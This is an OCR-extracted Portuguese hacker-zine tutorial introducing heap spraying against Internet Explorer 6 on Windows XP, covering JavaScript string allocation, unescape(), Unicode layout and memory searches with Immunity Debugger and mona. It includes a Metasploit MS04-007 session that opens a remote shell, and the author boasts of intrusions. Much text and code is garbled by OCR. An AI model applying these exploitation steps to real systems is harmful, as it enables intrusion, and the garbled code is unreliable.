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UNDERGROUND [EAGLE]

Eh com imensa satisfacao que dou inicio a mais um deleitoso, conciso e eloquente paper, focando
sempre a primazia do nosso povo. Dessa vez descrevo o poder do Heap Spraying em suas diversas
“rotacoes” por assim dizer, bem como demostrando todo o processo de escrita dos exploits se
utilizando de uma didatica bastante explanatoria; muito bem elucidaria, diria. Algumas pessoas
escrevem exploits de Heap Spraying se utilizando de varias linguagens que nao a utilizada ao longo
deste documento, que de fato se trata de uma linguagem de marcacao de texto, € ndo de
propriamente dita. Nao resta duvida alguma de que (a meu ver) a linguagem mais
“versatil” para a escrita de exploits de HS ¢ JavaScript. Ao inves de codarmos rotinas de forpe
compreensao (vbscript e ActionScript por exemplo) por parte dos nossos discipulos do mau a.k.a
Script Kiddies (que estao a uma passada atras de nos, os hackus lindoes do lado negro A.k.a Black
Hats), simplesmente utilizaremos tags em html para escrever nossas armas de exploitacao, se por
algum acaso do destino nosso sabadado estah sendo uma droga. Dedico “como sempre” o paper ao
amigo Wallace Ferreira A.k.a Dark_Side (que ndo tenho noticias a um pouco mais de um|
ano), Fernando Birek Ak.a F3rGO (que ¢ indubitavelmente um 'notorio' conhecedor de]
engenharia reversa), AcildmulD por ter deixado um comentario bunitim no meu perfil lah que eu
posto photos (Axur05 =P), assim me dando e consequentemente a toda minha prole os direitos da
magazine. Ao Filipe Balestra A.k.a Coideloko por ter sugerido uma palestra minha pra H H  ondg]
0 BSDaemon e o Nash Leon cantam de galo a anos, fato esse que culminou na escrita desse paper
*cujo o unico ponto falho era de nao pagar direitinho meu honorarios*. CorelancOd3r [AthCon], aos|
meus vizinhos e especialmente pra voc€, Xu. Por ultimo e ndo menos importante (o cliché nosso de
cada dia), Jeremy Brown A.k.a Rush por sempre estar prontamente apto a me enviar todos os
seus newest fuzzers e por ser um bom brasileiro; e a todos que se empenham horas por dia diante de
seu PC com a unica e quase exclusiva pretencao de enaltecer o hacking brasileiro e o James Bond.

Tambem gostaria de enfatizar/resvalar/ressaltar minha indignacao contra os fabricantes de
salsicha “tintera”, pois um dia desses estava eu jogando o nosso bom e velho Kingdom Hearts -
Chain of memories (cough us up monstro!), de cueca, quando me deparo com a mesma toda
manchada! Obrigado pela atencdo.Nao podemos esquecer a senhorita Sandra Julia Firmine
('Aka Little Witch) por gostar tanto de neskuik de morango e dos “bunequinho” do Final Fantasy|
XIII for ps3. E ao do blackhat-forums por ser mais um brasileiro ktando exploits para
nosso governo ¢ por ter codado uma html backdoor, bem como entender a fundo o PaX pr0j3ct }=)
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O nosso playground aqui serah sobre a arquitetura do tio Bill, porque de fato ndo vivo sem os
MMORPGs, mesmo com o Wine e 0 VMware-workstation-6.0.0-44426.1386.tar.gz a solta por aih.
O foco aqui serah 0 W32 x86 XP-SP3 rodando Internet Explorer 6.0.2900.5512.xpsp.080413-2111.
Como usual rode seu brower e ao lado da guia Ferramentas faga o que estah vendo abaixo para
descobrir a versao de seu browser.

Ajuda

(1do & indice

Sobre o Inkernet Explorer

o Internet Explorer

Pra ktar o seu pacote de servico basta que emita o comando na shell ou em 'Executar’, se tey|
OS estiver em portugués.

Eh de conhecimento geral que havia no um montante significativo de exploits remotos
concernente a “tecnica” que vocé estarah perfeitamente apto a lidar apos a leitura deste documento.
Entretanto uma quantidade consideravel desse montante foi codado para IE7 e versoes anteriores,
como a que exploraremos ao longo do paper, ou seja, era facil analisar a estrutura dos exploits para
saber como a falha ocorria e saber como escrever os exploits HS. Porque ressaltei esse fato?




Pelo simples fato de Heap Spraying precisar de certos “ajustes” para ser exploitado sobre IE8 (o
padrao do Windows7). Voce teoricamente “Pixa” a Heap, mas nada parece ter acontecido. Contudo
espero que aguardem um pouco mais, logo apés a H H desse ano escreverei uma continuagao|
para esse documento. Mas se mesmo assim nao quiser esperar basta que analise um modulo do
metasploit para que foi codado por um cara chamado sinn3r, no qual explora o IES
rodando debaixo de DEP *bosta*, sobre Windows 7 e (claro), tambem (se retirarmos uma coisa aqui
e alih) explora o nosso bom e velho Windows XP dos usuarios comuns }=) Vinganga por terem|
retirado o nosso idolatrado Raw Socket do XP Service Pack 1. Manditos! Como nao tenho tanta
disponibilidade de tempo assim, por hora, fico devendo, mas a tinica coisa que a DEP faz ¢ impedir|
0 “salte para os NOPs na heap”, nada alem } ;) Entao, assumiremos aqui que a nossa amiga DEP|
nao estah habilitada (o padrao para todos os XPs). Vale ressaltar que, a exploracao sobre IE9 ¢
diferente da exploracao do IE 10 sobre windows 8. Primeiramente pegue o embasamento contido
nesse documento e espere o documento sequente, mas se ndo tiver paciencia pode ja ir procurando
informacoes sobre uma palestra feita para a BlackHat por Alexander Sotirov a cerca de uma tecnica
intitulada Heap Feng Shui. Entao, existe um pacote chamado que disponibiliza como,
0 proprio nome ja da a entender “uma colecao de IEs” ]P Com esse pacote voce pode upgradear seu
[ES por um IE9, depois retirar o EI9 para voltar a ter o padrao do Windows7, o IES. Eh 0 mesmo
esquema com o IE6 e IE7, lembrando que os dois podem ser explorados facilmente com base nas
infomacoes que aqui estao contidas, e que sem duvida, ¢ uma otima base para vocé se calcar para
dar inicio a escrita de exploits para os outros releases do IE e consequentemente estar mais do que
habilitado a escrever exploits para outros browsers usando Heap Spraying, como o firefox que é um
dos browsers que mais preponderam no mercado dos usuario leigos (talvez porque seja mais
bonitinho). Para dar prosseguimento ao paper voce tambem precisarah do Immunity Debugger
(nada contra o Olly do F3rGO) e de uma ferramenta incrivel chama mona, a tia do mau :)

white hat p.a.u.-no-cuh

IMMUNITY 8@

JavaScript aloca a maior parte de sua memoria com MSVCRT malloc() e funcoes new(), ponto.
Apenas tenha isso em mente, por hora. A exce¢do da regra ¢ justamente concernente as strings, no
qual faremos uso para “pixar a heap” com o intuito de fazermos o retorno do exploiting (nesse|
caso em especial) saltar para os NOPs na mesma e consequentemente alcangar o shellcode.



http://dev.metasploit.com/redmine/projects/framework/repository/revisions/master/entry/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb
http://finalbuilds.com/iecollection.htm

As Strings em JS por sua vez sdo armazenadas como string “BSTR”, que nada mais ¢ do que um

tipo de string “basico” e possui um header (no qual veremos logo mais abaixo). A memoria para
strings javascript ¢ alocada se utilizando da familia de funcoes SysAllocString contidas na API
\windows\system32\oleaut32.dll, no qual tambem contem (as) funcoes _UserFree, Marshal,
Size e UnMarshal. Certo, vamos ver o que € isso na pratica.

[allocation.htm]

cript'=

war string undigrud” ;

window.alert("string alocada™) :

Microsoft Internet Explorer

string alocada

Pronto, dados alocados na Heap do processo (modulo iexplore). Voce poderah declarar variaveis de

varias formas para aloca-las na memoria do programa, pode por exemplo se utilizar do Objeto

String - , declarar a variavel seguida de uma outra com o ' ' e pode usar tambem|
, com esse mesmo proposito. Veja exemplos mais explanatorios.

var variavel = new String("undigrud’); // aloca na heap a string "undigrud”
var variavel = variavel0 + variavel?;  // concatena junto ao final de variavelO

Faz a extracao de parte de uma string .
Sintaxe.:

string = "Fiu Fiu";

document .write (string.substring (0, 3)) ; / resultado: Fiu

Usada para determinar a quantidade de caracteres de uma string.
Sintaxe.:

string = "whitehat";
document.write(string.length + ' characters long'),




Documents and ¢

O principal foco deste documento ndo ¢ javascript, mas sim Heap Spraying, por isso ndo vou dar
prosseguimento a isso, desculpe. Claro que existe muita material ja publicado sobre Javascript tanto
em video quanto em texto, na internet. Sucintamente escreva Curso de JavaScript junto ao altavista
que vocé encontrarah muita informacao publica de qualidade. Certo, string alocada na memoria,
vamos vé-la? Execute o Immunity enquanto a pagina estiver rodando e ate o processo ao mesmo.
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Alt+
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Faremos uso agora de uma ferramenta obscura e pesada chamada mona v1.8x (meu release; € o
mais recente no momento dessa escrita). Ferramenta essa largamente usada por muitos manohs do|
under, talvez por ser poderosa e precisa. Para sanar alguma duvida a cerca de qualquer comando do
mona simplesmente escreva na janela de comandos do Immunity (logo abaixo da janela principal,
no canto esquerdo).

BEADFEAD
BEADF&E0
BEAOFEE0
[+] This mona.py action took B:E0:86.816088

Imona help {command-here>

Ou simplesmente para obter uma listagem de todos os comandos disponibilizados no
release 1.8. Para instalar o mona basta que vocé mova-o (mona.py) para o diretorio de armazenage
de comandos/scripts do Immunity:

C:hArguivos de programastImmunity InciImmunity DebuggerPyCommands |

O que faremos agora eh procurar na memoria RAM a nossa string previamente alocada, string essa|
alocada na heap atraves do uso de javascript.

BEADFEE0
BEADFEED | U=zz9:s of command "find"® @
BEADFE@&E0

Find a sequence of bytes in memory.

Como vocé pode observar (apos escrever na janela de comandos do Immunity) o
comando acha uma sequencia de bytes em memoria. Algumas ressalvas devem ser feitas agora, a
primeira delas é que a opcao -s € mandatoria seguida do pattern/string propriamente dito, a segunda
¢ que o “intervalo” de memoria 0x00000000 to Ox7ftfftft corresponds a toda a memoria, intervalo
esse setado com base (-b) e topo (-t). -unicode ou -ascii faz buscas por toda a memoria tento como
ponto de partida 0x00000000 to Ox7ffftftf (arquitetura de 32 bits) a procura da string em ascii ou
unicode. - “Th fudeu”. Voce fala. Relaxa, o paper nem comecou ainda.

Imona find -5 "undigrud" -unicode -b 0x00000000 -t Dx 7t - *

Esse comando fala pro mona achar (find) a string (-s) “undigrud” que estah em partindo do
endereco base 0x00000000 ao endereco topo Ox7ffftftf (que corresponde a toda memoria destinada
a esse processo). Junto a janela de log () vocé poderah verificar os resultados desse comando .

Log data

[T eI LT Sl P L o

BEADFEE0 - Done. Let's rock "n oroll.




Mona command stacted on ZE12-86-28 12:18:28 (wl.3-dew, rew 1&66)
HEADFEED0 Processing arguments and criteria
— Pointer access lewel = #
- Expanded ascii pattern to unicode, switched search mode to bin
= Treating search pattern as bin
Searching from B:BEEEEEEEHE to BH?FFFFFFF
[+] Preparing log file "find.tut’
— [Relzetting logfile find.tHt
[+] Generating module info table, hang on...
- Processing modules
— Done. Let"s rock "n oroll.
[+] Writing results to find.tut
= Humber of pointers of tupe
[+] Results :
BrADISfeEE @ "undigrud'™ (unicode)
BrAb34bzbe : "undigrud™ (unicode)

undigrud™ (unicodel® @ 18

| startnull {PAGE_RERODWRITEZ} [Honel

| startnull {PAGE_RERDWEITEZ} [Monel
B1A834c848 @ "undigeud™ (unicode) | startnull LPAGE_READWRITEY} [Monel
BrAb34c148 @ "undigrud'™ (unicode) | stactnull {PAGE_REAOWRITEY [Honel
BnA1112452 @ "undigrud'™ (unicode) | ascii {PAGE_REAOWRITEY} [Honel
Br@1113544 @ "undigeud'™ (unicode) | ascii {PAGE_READWRITEY} L[Honel
BEn@A1112842 @ "undigeud'™ (unicode) | ascii {PAGE_REAOWRITEY} L[Honel
BnA1117a52 @ "undigrud™ (unicode)] | ascii {PAGE_REAOWRITEY} [Honel
BrEl1118244 @ "undigrud™ (unicode) | L{PAGE_REAOWRITE} C[Honel
BxE111284458 @ "undigrud™ (unicode) | {PRAGE_REAOWRITE} [Honel

[+]1 This mona.py action took B:E@: 12, 732088

Como vocé pode nitidamente observar ele realmente fez o que queriamos que ele fizesse. Encontrou|

para a nossa string, ou seja, ocorrencias que “apontam” para a mesma. Veja alih a linha
Searching from 0x00000000 to Ox7fffffff (pesquisando de 0x0000... a 0x7f...). Observe que
ele ainda escreve os resultados em um arquivo de log (find.txt) no diretorio Immunity Debugger.
Agora esse aqui € pro VooDoo. Faremos uma breve analise do backtrace desse arquivo de log sé por
curiosidade irmaos de chapeu };) Dentre as informacoes contidas nesse arquivo de log vocé
podera verificar a versao da biblioteca, os modulos propriamente dito € o caminha no qual eles se
encontram no sistema.

 1.2600, ZlEiEI [RPERT4 dll] (C: HHIHDDMSHSYSEEIQSZ‘-.RPERM dll]
.1.2600,2180 [ntdll.dll] (C:\WINDOWS,system3z2yntdll.dll)

Esses sdo alguns modulos que sdo carregados na memoria em tempo de execucao. Vale salientar
novamente que o termo 'modulo' nada mais ¢ do que o termo usado para designar os arquivos
carregados na memoria, como por exemplo .exes ou .dlls. Observe abaixo esses dois modulos. Jah
invadi muita maquina por Heap Overflow explorando o ASN1 Library. Voce verificarah abaixo que
foi carregado pra memoria tambem a MSVCRT, lembra do malloc()? E... Olha que lindo esse
backtrace (achamos a nossa boa e velha MSASN1):

| 5.1.2600,2180 [M3ASNL.d1l] (C:N\WINDOWS\systemIz \M3ARN1.d11)
| 7.0.2600.2180 [msvert.dll] (C:\WINDOWSYsvatemi2ymavort.dll)




shell-Konsolel

Editar “er Favoritos Configuragtes Ajuda

[*] Sending SMB session setup request...

[*] Exiting Bind Handler.

msf msasnl ws04 007 killbill > show RHOST

msfconsole: show: specify "targets®, *payloads®, "options®, or "advanced®
msf msasnl ms04 007 killbill > exploit

[*] Starting Bind Handler.

[*#] Attempting to exploit target Windows 2000 SP2-SP4 + Windows XP SPO-SP1
[*] Got connection from 192.168.139.1:32794 €-i92-163.139-129:4444

iy

Microsoft Windows XP [versEo 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C: \WINDOWS \system3 2>ipconfig
ipconfig

Configuragcio de TP do Windows

o
152.168.138
255.255.255.0

Compreende agora o porque da enfase nos modulos acima? Essas APIs podem ser facilmente
fuzzadas usando frameworks como o Comraider da idefense labs (ferramenta muito poderosa).
Tambem enfatizei as APIs padroes para lembrar-lhes que vocé tambem pode achar retorno nelas
para escrever exploits de buffer overflow classico. Bem, vejamos o que mais foi carregado para a
memoria alem de msvert ;)

msvcrt.dil

0x77182f20 : "AAAA" (unicode) | asciiprint,ascii {PAGE READWRITE} [OLEAUT3Z.dl11] ASLE: False,
0x77182E28 : "AAAA" (unicode) | asciiprint,ascii {PAGE READWRITE! [OLEAUT3Z.dl1] ASLE: False,




B True | 5.1.2600.2180 [OLEAUT3Z.d111 (C:\WINDOWSsveten32)\0LEAUT3Z, 4111l

Voltaremos a nossa velha log window para continuar a analise dos logs do nosso searching for.

BEADF@A0| [+] Results @

B 1EFEEE BrEElsfeed @ "undigrud™ [unicodel startnull {PAGE_REROWRITE} [Monel] [Heapl

BES4EZEC BAEE34b2bc: @ "undigrud™ [unicode) startnutt EPHEE_HEHDNHITE} [Monel [Heapl
(s

BEg4ca4a BrEE3d4cEdd @ "undigrud™ [unicodel startnu FAGE_FREAOWRITE} [Monel [Heapl
ARZAFT AR AuGGZA-TdE = andiaend® onieadsl oo setnon PORFE BEQANRTTER FHAars1 FHozed

O mona estah nos falando que, o endereco de memoria 0034B2BC (0x0034b2bc) realmente guardal
a nossa string € que se trata de uma string (unicode). O pretenso hacker astuto tambem notarah logo a
direita a palavra [Heap], sO por desencargo de consciéncia analisaremos o dump da ocorrencia.
Duplo clique no segundo ponteiro por favor. A que aponta para o endereco de memoria:

B BE34b20c

Apos isso somos instantaneamente direcionados para a janela principal, CPU. Observe no canto
inferior esquerdo da main window o seguinte resultado.

[ e e e BN Ny S ol et L

7S BB-EE BB &4 B8 o9
BE34EZCY &F BB FZ 88 YT B0 o4
BEZABZCC B8 OB BE @8 08 B0 @a

Veja abaixo de ASCII a nossa string. Como sempre gosto de repetir em uma grande parte de meus
textos, dois digitos em hexadecimal equivalem a 1 byte, e nesse caso esses dois digitos abaixo de
ex dump equivalem a uma letra (representada abaixo de ASCII), mas... mas observe atentamente
que existe um 00 apds cada letra da string, que abaixo de ASCII equivale a um ponto. Hum... Isso ¢
0 que caracteriza uma string unicode no dumping. Vamos com calma. Veja nossa string alih,
0034B2BC armazena a letra 75 (u). Como todos sabemos o enderecamento de base hexadecimal
segue o modelo partindo de 0 a F e ao inves de '9, 10' serah '9, A', ateh F, depois os digitos comecao
a se repetir e o endereco adjacente a esse ¢ incrementado. Pegou? Nao? Ta achando que eu to te
sacaneando? O endereco de memoria 0034B2B ' sua vez armazena o 00 e 0 0034B2B  armazena o
n (6E). Vamos ver na pratica manoh! Use o comando 'd' do Immunity, ele faz um dumping de u

endereco quaquer, ou seja, mostra-nos o que esta armazenado por lah. Escreve 'd 0034B2B ' e
0034B2B ' na janela de comandos do Immunity e em seguida tecle [Enter]

Exato e perfeito. Entao podemos inferir que o seguinte mapa de memoria ¢ realmente valido.

0034B2EB = 0034B2CHE =
0034B2E oo 0034B2C7 on
0034BZE 0034B2CH
0034BZ2E oo 0034EB2CY
0034BZCO 0034BZCA =
0034B2Cl = 00

0034B2C2 |

0034B2C3 00

0034B2C4

0034B2C5 = 00




Acabei de escrever um pequeno coide aqui que converte ASCII strings em Unicode strings (a que
costumeiramente vemos nos dumpings de Heap Spraying. Vocé saberah o porque adiante). Vale
salientar que a Unica distincao entre ambas no dumping ¢ apenas o 00, ou seja, os digitos em|
hexadecimal usados para representacao das “letras do alfabeto” ainda continuam sendo os mesmos
para ambos os caracteres de texto, e isso quer dizer que a ferramenta abaixo serah ndo s6 de grande
valia como de suma importancia para conversao de ASCII em Hex. Vale ressaltar tambem o fato de
ser de conhecimento pulico que as Unicode strings equivalem dois bytes. Do ya know why? Acho
que agora vocé sabe o porque ;)

of Alessandra.c

’

char str[ ], c;
printf (
scanf ( , &str);

for (i;i< strlen(str);++i) {
c=str[i];

printf ( r C)i

}

CAWINDOWS\system 3 2\cmd. exe

C:~Documents and SettingssDavidsDesktopX*Alesandra.exe
Alessandra — ASCII to Unicode wtility by 6_Bl4ck?_fBx6
Viper Corp. 20062012

Type some hex digits:iundigrud
7L AR 6e BA 64 BA 67 BA 67 BA 72 BA 75 BA 64 @A

Type some hex digits:AAAAAAAAARA
4 B8 41 BP0 41 B8 41 B8 41 6P 41 B0 41 B0 41 6P 41 B0 41 B8

Vale ressaltar o fato de que strings no dumping sdao case sensitive, ou seja, existe uma distingao
entre as letras maiusculas e minusculas (upper e lowercase respectivamente) .

C:xDocuments and SettingssDavidsDesktopX*Alesandra.exe & echo.
Alesszandra — ASCII to Unicode wtility by 6_Bld4ck?_fBx6
Uiper Corp. 20062012

Type some hex digits:iaaaaaaaaaa
61 BA 61 BA 61 BA 61 BA 61 BA 61 BA 61 BA 61 BA 61 BA 61 BA

C:xDocuments and SettingssDavidsDesktop?




Falamos muito ateh aqui a cerca desse tal de unicode. Do que realmente se trata? Segundo o
memoravel :. Dicionario Técnico de Informdtica 3ed por Carlos E. Morimoto, o saudoso escritor de
uma das melhores distros Linux ja escritas ateh o presente momento (Kurumin Linux), baseada no
nosso amado Debian, unicode ¢ isso:

. ASCII

para cada
antagem do

Unicode ndo ¢ nada alem disso acima. Com esse codigo de caracteres de texto podemos escrever
letras sirias ¢ muitos “deseninhos” que vocé ver no mapa de caracteres. Escreva o comando
no executar para abrir o mesmo.

{2 Mapa de caracteres

Fonte: | €} Estrangelo Edessa

Caracteres a serem .
: i Selecionar
copiadog:

Modo de exibigdo avangado

Conjunto de .
an ) Unicode v | Irpara
caracteres: |nicode;

Agrupar par; Tudo L

Procurar por:

I1+071E: Letra =iria pudh he
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Observe que os caracteres dessa pagina estao em tailandés, como o chrone mostra. Isso apenas ¢é
possivel com a utilizacao de unicode, veja porque:
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Atente para o fato do hacking ser a diplomacia majoritaria limitrofe entre nosso povo e o resto do
mundo. Um outro exemplo de dialeto que apenas pode ser lido com unicode segue:

Thank you for downloading
gl dalia A =LY pdf 33,010 ke

Your download link will appear after wait

Observe logo abaixo da janela do Mapa de caracteres (no canto inferior esquerdo para ser mais
preciso) o codigo de caractere correspondente a letra siria acima (acima dos shOts do browser),
verifique a presenga do U, de unicode. Escreveremos essas duas letras usando javascript.

U+071E: Letia sifia pudh he ' - W U+0723: Letra siria semkath




<htmlz-
<head=<titcler>THICODE /title>< /heads-
<3Ccript type='text/javascript'z

unicode = unescape('zul724d Fzul71E') ;
docunment. write (unicode., toltring(l];

Lfscripts
</html=

@ C:iDocurnents and

s Op
Dois fato portantes deve er mencionados agora. O primeiro € o fato de aplicacoes nao
onseguire o ode. Se vocé copiar esses caracteres do browser e colar e 3 o de
C O € .:. %100, C d d O O d Od acao A ad O1Nd OCC CId O

Bloco de notas v

il

Eske arquivo conkém carackeres no formato Unicode que serdo perdidos se wocé o
calvar como um arguivo de texto codificado como AMSI. Para manter as informagdes em
Unicode, clique em 'Cancelar’ abaixo e selecione uma das oprées de Unicode na liska
drop-down 'Codificacdo’. Deseja conkinuar?

*_-. Ci\Documents and Setkings)DavidiDeskiophansi, bk

I o, | [ Cancelar
Codificagio:; AMSI v
AMSI
Unicode
IInicode big endian
- UTF-8




Mas mesmo assim vocé ndo conseguira lé-los se abrir o arquivo com o notepad.exe, vocé€ verah o
que costumamos chamar de “lixo™:

Editar

A mesma coisa apresentada acima. Pra ler as letras vocé precisarah abrir o arquivo com algum
editor com suporte a unicode, como o prorio wordpad por exemplo.

Arguivo  Edikar  Formatar  Exibir

Observe que o arquivo pesa 6 bytes. Isso é bom para vocé que estah apredendo sobre as unidades de
medida de armazenamento. Code um prog que vai aumentando os dados no arquivo para vocé ir
vendo a olho nu as escalas. Como todos sabemos depois do nibble vem o byte que € o conjunto de 8
bits, a partir daih a unidade de medida ¢ de 1024 em 1024. Veja:

Local:

Tamanho:

Arquiva  Editar  Formatar

Escreva apenas mais uma letra a no arquivo de texto e salve para ver que a escala mudou.

Tamanho:

Depois do KB vem o MB (Mega Byte), depois o GB (Giga byte) e assim por diante. Nao ¢ o foco.
Esse conhecimento ¢ muito important para “acelerar” (se for o caso) a escrita de shellcodes ¢ a
pratica de fuzzing, pois podemos escrever os junks na unha (por isso tenho unhas compridas, ¢
mais abrangente. sem tornar o paper pejorativo... claro :).
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Learnin’' the functions: escape(); - unescape(); - toString();

Como vocé pode observar no script unicode.htm “primeiramente” (entre aspas mesmo) foi alocado
0 caracter $u0724 na heap e logo apds o 3u071E, mas durante execucao o que foi apresentado
primeiro foi o caracter da direita. Aqui acontece 0 mesmo quando escrevemos exploits de BOf, ou
seja, os dados sdo alocados em ordem inversa na memoria devido ao ordenamento de bytes. Como
jah mencionado previamente o intermediador limitrofe entre o userland e a “programacao de
processador” (ndo necessariamente ring0) por assim dizer, no qual fazemos uso de instrucoes
escritas em assembly (em hexadecimal) e onde tudo estah em hex (incluindo os enderecos de
memoria virtuais e fisicos), € o (se da pelo uso do) javascript. Uma funcao bastante conhecida do
mesmo ¢ a unescape(), tendo como seu antonimo a funcao escape().

Encoda uma sequencia de texto.
Sintaxe.:

<html=>
<body hgcolor=hlack-
<g3cript type='text/Jjavascript'>

war escaped = escape (prompt ("Type & consise phrase: M)):
document.write [escaped.fontcolor('white')):

</scripty

</body>
</ html>

Prompt do usuario do Explorer

Prompt d

Endereco -Lﬂ Ci\Documents and Settings)Davi

2o20%2620%020%20%204

ote que o correspondente ao espaco em hexadecimal ¢ o 0x20 (em C \x20), ou simplesmente
%?20. Como vocé pode notar a notacao percentual (%s) delimita uma sequencia hexa no JS. Ou seja,
0 que a funcao escape faz ¢ simplesmente converter os caracteres especiais em seu formato
hexadecimal quando assim for possivel.

16




Prompt do usuario do Explorer

ocuments and SettingsiDavi a de kest.html

2eS3F2e20%05C 2200200240240 0@@ A A A AN

Observe atentamente que o [at] ou @ ndo foi alterado. Veja logo mais abaixo um source
code que imprime na shell o correspondente ASCII dos digitos hexa e

-- examplel.c --

CAWINDOWSAsystem 3 2\emd. exe

C:“Documents and Settingsz:DavidsDesktoprexamplel .exe
A

Em contrapartida a funcao escape() temos a funcao unescape(); que faz o processo inverso ao de sua
irmazinha. Ao seja, com ela estamos aptos e converter hex em ASCII. Esses scripts tambem podem|
ser usandos para encriptar suas conversas em Hex, a chave ¢ fraca, mas pessoas leigas nao
conseguirao saber o que vocé e sua mina estao conversando.

<html=>
<hody bgoolor=hlack:
<2oript tcype='text/Jjavascript' >

war unescaped = unescape (prowpt ("Type a consise phrase: T)):
document .. write [unescaped.fontcolor ('white']) ) :;

<facriptr
</ hodys>
< html>

unescapel.htm




Prompt do usuario do Explorer

-.lﬂ CDocuments and Setkings| Dawvidil

Se quiser testar escreve $3F82085C%20%20%24%24%20@@AAAAA na caixa de texto *regarding
solely passwds?*. O interessante dessa funcao ¢ o fato de que justamente com ela nos ¢ permitido
inserir dados na Heap, mas como ja mencionado, em ordem inversa e cada sequencia necessita ser
de dois bytes, ou seja, quatro digitos em hexadecimal denotados com o %u de unicode. Vamos ver]
como ¢ a conversao/isso na pratica manoh, sem aquelas analogias toscas de prato (pff!).

Frompt do usuario do Explorer

Frompt do zcript:

B 3 col

A conversao para %unicode acima usando a funcao unescape() vocé ja pegou. Agora voltaremos
novamente a funcao escape();

<html=
<hody bgcolor=black:
<sCript type=s'text/javascript's

var escaped = escape (prompt ("Type an unicode string: "J7J;
document.write (escaped.fontcolord 'white' J[);

< fscript>
{fbnd¥>
<html =

Abra novamente o mapa de caracteres do windows e escolha uma letra unicode qualquer.
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o meu caso em especial foi a letra abaixo a escolhida. Observe que essa caixa de dialogo tem
suporte a unicode ; )

Prompt do usuario do Explorer

Voce poderah verificar o resultado abaixo.

2o TTD664

Observe que a propria funcao escape() decodou o nosso caractere e nos mostrou o codigo %unicode
do mesmo, serah?

Digito indo-arabico quatro

Exato e perfeito. Humm... Entao isso quer dizer que, se inserirmos %u0664 no nosso script do

escape() ele vai' ' esse caractere (ou se preferir uma string) e converte-lo(a) em unicode
(assim fazendo nos vermos)? Sim, ¢ isso. Humm.. Agora ¢ a chave de tudo manoh, se vocé pegar
isso aqui vocé pega praticamente todo o Heap Spraying ExploitsWriting. Abra  Alessandra e logo
apos fornecga a ferramenta a string Blackfox para obter os seus correspondentes em HEX.

Viper Corp. 20062012

Type zome hex digits: Blackfox
42 B0 6c B0 61 BB 63 B8 6b BA 66 BA 6f BA V8 B0

Escreva $42%6c$61$63%6b%$66%6£%78 N0 unescapel .htm para confirmar.
Endereco ql'ﬂ CADocuments and SettingshDavid\Desktog

ELACEKFOX

Agora vamos escrever o script de alocacao.
<htimls
“script =

var sStr = unescape('Iubcdziucicl']):
3tr = 3tLr + unescape('ucocebi:uvscf') ;

window.alert (' Segurando oz dados na memoria - Ok para likbera-la'):

</acriptr
</html>

Julinha.htm




Microsoft Internet Explorer

Sequrando os dados na mernoria

Agora finalmente rode a page (Julinha.htm) e ate o processo a0 Immunity para procurarmos a string
alocada na memoria desse processo.

BEAOFBE0| [+] Searching from HB:E0E0EEEE to Bu7PFFFFFFF
HEBAOFEE0 [+] FPreparing log file "find.tut”
BEADF&E0 - [Relsetting loafile find.tut
HEBAOFEA0| [+] Generating module info table, hang on...
HEROFEED - Processing modules
BEADF&E0 - Done. Let's rock "n oroll.
BEADF&E0
[+] This mona.py action took B:@8:81,E57E0EE

Imona find -5 "Blackfox’

Oxi, nada de unicode string? Hum... Stranho...

HEADFEE0 — Done. Let®s rock "n roll.

BEADFEED [+]1 Writing results to find.tut

BEADOFBE0 = Humber of pointers of twpe ""Blackfou™" 1 1

HEADFEE0| [+] Results

SEAEE%SE BrARldE22: ¢ "Blackfox™ | startnull {PAGE_RERDWRITEZ} [Honel [Heapl
[+] This mona.pw ackion took Bi@@:E2, 02316@E8

Imona find -s "Blackfox'" -ascii =< *

Tan dam! Achamos a string, mas espere aih, alocamos “-ASCII” instead of -unicode? Sim isso
mesmo. Agora veremos como uma ASCII string ¢ alocada na memoria ([Heap)).

Address |Hex dump
BE1OB22C
BE10E234
BE 102300
BEA10E244
BE10E24C
BE10E254
BEA1OB2EC
BE1OEB2E4
BE1OB2EC

Como vocé pode observar cada caractere da string equivale a 1 byte (dois digitos em hexa) e sdo
agrupados um ao lado do outro na memoria. Entao podemos inferir que a Heap ¢ uma memoria de
acesso contiguo, ou seja, alocacoes destinadas a essa regiao sdo deterministicas, os dados sdo
escritos um na adjacencia do outro. E essa caracteristica peculiar a Heap que permite a nos (a banda
podre) codar exploits de Heap Overflow que corrompem os ponteiros da memoria, mas isso ndo vez
a0 caso agora ,) O que importa aqui ¢ como eu fiz isso.
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Tambem eh de conhecimento geral que unescape() lida com unicode, e apenas com esse tipo de
“alocagao”. Uh? Entao como foi que conseguimos alocar ASCII usando unescape() na memoria? O
que acontece € que enganamos ele (que buro } :) Observe a estruturacao do source:

var str= unescape(' '); //Blac
sir = str + unescape(" %u786f'); // kfox

Blackfox =B ca fk ox

Jah que sabemos como o unicode ¢ “estruturado” na memoria, forjamos um unicode.

|l B ¢ a f k ox
78 6f

A estruturacao do JavaScript em si ndo ¢ de dificil compreensao. Mas ja que este documento foi
escrito para nossos ilustres Sks (acronimo para Script Kiddies) vou explicar a base. A variavel str
vai armazenar o resultado do unescape();, ou seja, a string Blac, e logo abaixo estou dizendo sem
meias palavras que: str = str + kfox . Essa linha concatena ao final de str o resultado da segunda
funcao unescape, ou seja, kfox. Literalmente quer dizer “str ¢ igual a ela mesma '+' o resultado
retornado de unescape()”, assim anexando ao termino de Blac o fox e fazendo com que ela anexada
esteja armazenada na variavel str. Existe um alias para essa estrutura: . Eh be
mais simples nao acha? E corresponde a mesma coisa (quem dera eu tivesse um texto
desses quando comecei... , ).

Aih a puta alih no canto fala: “Como ¢ que vocé sabe disso? . Essa falha de seguranga (que aind

prevalecerah por muitos anos, ou enquanto nos existirmos) devidamente batizada de Heap Spraying
foi originalmente “descoberta” por um hacku chamado bem antes de 2000, o cara
depois de ter exploitado ateh o pentagono resolve publicar a dita (MS01-033), mas a falha sempre
esteve lah s6 esperando para ser descoberta bem antes de ser documentada =) Como vocé pode ver
abaixo.

CAWINDOWS\system 3 2\emd. exe

Type some hex digits: ABCDEFGH
41 BA 42 BA 43 BA 44 BA 45 BA 46 BA 47 BA 48 BA
C:Documents and SettingssDavidsDesktop>



https://twitter.com/berendjanwever

B:7c38447e @ "ABCDEFGH™ (un icode) {PAGE_EXECUT
B:75c3cbb8 @ "RABCOEFGH™ (unicode) {PRAGE_EXECUT
B 77d23184 : "RECOEFGH™ [un icode) {PRAGE_EXECUT
B:77d25842 ¢ "ABCOEFGH™ (uwnicode) | {PAGE_EXECUT
. Only the Flrit 20 pointers are shown here. For

[+] This mona.py action took B:@@:65, 01lc@EE

